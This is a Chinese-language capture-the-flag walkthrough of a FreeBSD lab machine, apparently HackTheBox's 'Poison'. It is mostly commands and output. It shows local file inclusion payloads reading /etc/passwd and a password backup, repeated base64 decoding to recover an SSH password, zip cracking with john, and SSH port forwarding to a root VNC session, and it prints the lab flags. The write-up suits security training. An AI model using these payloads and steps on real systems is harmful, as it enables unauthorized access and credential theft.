Nmap
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS -A -sC -sV -p- --min-rate 10000 10.10.10.84
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-08 18:38 CST
Warning: 10.10.10.84 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.84
Host is up (0.078s latency).
Not shown: 52168 filtered tcp ports (no-response), 13365 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e33b7d3c8f4b8cf9cd7fd23ace2dffbb (RSA)
| 256 4ce8c602bdfc83ffc98001547d228172 (ECDSA)
|_ 256 0b8fd57185901385618beb34135f943b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=2/8%OT=22%CT=8%CU=32827%PV=Y%DS=2%DC=T%G=Y%TM=63E37C05
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=Z%II=RI%TS=20)OP
OS:S(O1=M537NW6ST11%O2=M537NW6ST11%O3=M280NW6NNT11%O4=M537NW6ST11%O5=M218NW
OS:6ST11%O6=M109ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)EC
OS:N(R=Y%DF=Y%T=40%W=FFFF%O=M537NW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M109NW6ST11%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=38%UN=0%R
OS:IPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S)Network Distance: 2 hops
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 122.13 ms 10.10.16.1
2 77.21 ms 10.10.10.84
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.22 seconds
Http
似乎是一个本地脚本加载的一个程序，挨个看一下是否有什么可用的东西
┌──(root㉿kali)-[~/Desktop]
└─# curl http://10.10.10.84/browse.php?file=listfiles.php
Array
(
[0] => .
[1] => ..
[2] => browse.php
[3] => index.php
[4] => info.php
[5] => ini.php
[6] => listfiles.php
[7] => phpinfo.php
[8] => pwdbackup.txt
)
有点东西，这是列出了一个列表吧，然后看到文件结构，突然想到是否会有 LFI 呢？尝试一下
┌──(root㉿kali)-[~/Desktop]
└─# curl http://10.10.10.84/browse.php?file=/etc/passwd
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh
nice，存在 LFI 漏洞，筛选一下可用账户先
┌──(root㉿kali)-[~/Desktop]
└─# curl http://10.10.10.84/browse.php?file=../../../../../etc/passwd|grep "/bin/csh"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1894 100 1894 0 0 11999 0 --:--:-- --:--:-- --:--:-- 12063
root:*:0:0:Charlie &:/root:/bin/csh
charix:*:1001:1001:charix:/home/charix:/bin/csh
发现可以使用 bash 权限的用户就两个，一个是 root，一个是 charix，咱们肯定不可能直接到 root 吧？那我们就肯定是要找 charix 的突破点了
┌──(root㉿kali)-[~/Desktop]
└─# curl http://10.10.10.84/browse.php?file=pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really..Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=
有一段 base64，解密一下看看
This password is secure, it's encoded atleast 13 times.. what could go wrong really..
这个密码是安全的，它至少被编译了 13 次...真的会出什么问题...
这他喵的居然得解密 13 次，真麻烦
┌──(root㉿kali)-[~/Desktop]
└─# echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo="|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d
Charix!2#4%6&8(0
最后得到了一个密码，去尝试是否可以登录 ssh
┌──(root㉿kali)-[~/Desktop]
└─# ssh [email protected]
The authenticity of host '10.10.10.84 (10.10.10.84)' can't be established.
ED25519 key fingerprint is SHA256:ai75ITo2ASaXyYZVscbEWVbDkh/ev+ClcQsgC6xmlrA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.84' (ED25519) to the list of known hosts.
([email protected]) Password for [email protected]:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement.
If you want to play CDs with FreeBSD, a utility for this is already included.
Type '
cdcontrol' then 'help' to learn more. (You may need to set the CDROM
environment variable in order to make cdcontrol want to start.)
[email protected]:~ % whoami&&id
charix
uid=1001(charix) gid=1001(charix) groups=1001(charix)
成功登录 ssh
[email protected]:~ % cat user.txt
eaacdfb2d141b72a589233063604209c
成功拿到 user 权限的 flag 文件
[email protected]:~ % ls
secret.zip user.txt
[email protected]:~ % ls -la
total 48
drwxr-x--- 2 charix charix 512 Mar 19 2018 .
drwxr-xr-x 3 root wheel 512 Mar 19 2018 ..
-rw-r----- 1 charix charix 1041 Mar 19 2018 .cshrc
-rw-rw---- 1 charix charix 0 Mar 19 2018 .history
-rw-r----- 1 charix charix 254 Mar 19 2018 .login
-rw-r----- 1 charix charix 163 Mar 19 2018 .login_conf
-rw-r----- 1 charix charix 379 Mar 19 2018 .mail_aliases
-rw-r----- 1 charix charix 336 Mar 19 2018 .mailrc
-rw-r----- 1 charix charix 802 Mar 19 2018 .profile
-rw-r----- 1 charix charix 281 Mar 19 2018 .rhosts
-rw-r----- 1 charix charix 849 Mar 19 2018 .shrc
-rw-r----- 1 root charix 166 Mar 19 2018 secret.zip
-rw-r----- 1 root charix 33 Mar 19 2018 user.txt
这里有一个 secret.zip 的文件，下载下来看看
┌──(root㉿kali)-[~/Desktop]
└─# scp [email protected]:/home/charix/secret.zip ./
([email protected]) Password for [email protected]:
secret.zip
┌──(root㉿kali)-[~/Desktop]
└─# file secret.zip
secret.zip: Zip archive data, at least v2.0 to extract, compression method=store
确实是 zip 类型的
┌──(root㉿kali)-[~/Desktop]
└─# unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
但是需要一个解压密码，去破解一下
┌──(root㉿kali)-[~/Desktop]
└─# zip2john secret.zip > hash
ver 2.0 secret.zip/secret PKZIP Encr: cmplen=20, decmplen=8, crc=77537827 ts=9827 cs=7753 type=0┌──(root㉿kali)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-02-08 19:04) 0g/s 16299Kp/s 16299Kc/s 16299KC/s "2parrow"..*7¡Vamos!
Session completed.
爆破没有成功，尝试一下 charix 的登录密码呢？
┌──(root㉿kali)-[~/Desktop]
└─# unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
好吧，是我给想复杂了
┌──(root㉿kali)-[~/Desktop]
└─# file secret
secret: Non-ISO extended-ASCII text, with no line terminators
┌──(root㉿kali)-[~/Desktop]
└─# chmod +x secret
┌──(root㉿kali)-[~/Desktop]
└─# ./secret
./secret: 1: ��[: not found
./secret: 1: Ֆz!: not found
不是可执行文件，先放着吧，去看看本地端口
[email protected]:~ % netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 10.10.10.84.22 10.10.16.2.46492 ESTABLISHED
tcp4 0 0 127.0.0.1.25 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp6 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp6 0 0 *.22 *.* LISTEN
tcp4 0 0 127.0.0.1.5801 *.* LISTEN
tcp4 0 0 127.0.0.1.5901 *.* LISTEN
udp4 0 0 *.514 *.*
udp6 0 0 *.514 *.*
Active UNIX domain sockets
Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr
fffff80003b39d20 stream 0 0 0 fffff80003b39e10 0 0
fffff80003b39e10 stream 0 0 0 fffff80003b39d20 0 0
fffff80003b3a2d0 stream 0 0 0 fffff80003b3a3c0 0 0 /tmp/.X11-unix/X1
fffff80003b3a3c0 stream 0 0 0 fffff80003b3a2d0 0 0
fffff80003b3a5a0 stream 0 0 0 fffff80003b3a4b0 0 0 /tmp/.X11-unix/X1
fffff80003b3a4b0 stream 0 0 0 fffff80003b3a5a0 0 0
fffff80003b3a690 stream 0 0 fffff80003b32588 0 0 0 /tmp/.X11-unix/X1
fffff80003b3ab40 stream 0 0 fffff80003ae6938 0 0 0 /var/run/devd.pipe
fffff80003b3a0f0 dgram 0 0 0 fffff80003b3a960 0 0
fffff80003b3a1e0 dgram 0 0 0 fffff80003b3a870 0 fffff80003b3a780
fffff80003b3a780 dgram 0 0 0 fffff80003b3a870 0 0
fffff80003b3a870 dgram 0 0 fffff80003c56000 0 fffff80003b3a1e0 0 /var/run/logpriv
fffff80003b3a960 dgram 0 0 fffff80003c561d8 0 fffff80003b3a0f0 0 /var/run/log
fffff80003b3aa50 seqpac 0 0 fffff80003ae6760 0 0 0 /var/run/devd.seqpacket.pipe
发现开着 VNC 端口
ps -auxroot 529 0.0 0.9 23620 8872 v0- I 11:33 0:00.03 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/
查看进程，发现 VNC 是由 root 用户运行的
这边是内网的端口，我们无法访问，给他转发出来就可以了
ssh -L 5901:127.0.0.1:5901 [email protected]
然后使用 vncviewer 进行连接
┌──(root㉿kali)-[~/Desktop]
└─# vncviewer 127.0.0.1::5901 -passwd secret
[email protected]:~ # whoami&&id
root
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
成功提权到 root 权限
[email protected]:~ # cat root.txt
716d04b188419cf2bb99d891272361f5
成功拿到 root 权限的 flag 文件
如有侵权请联系:admin#unsafe.sh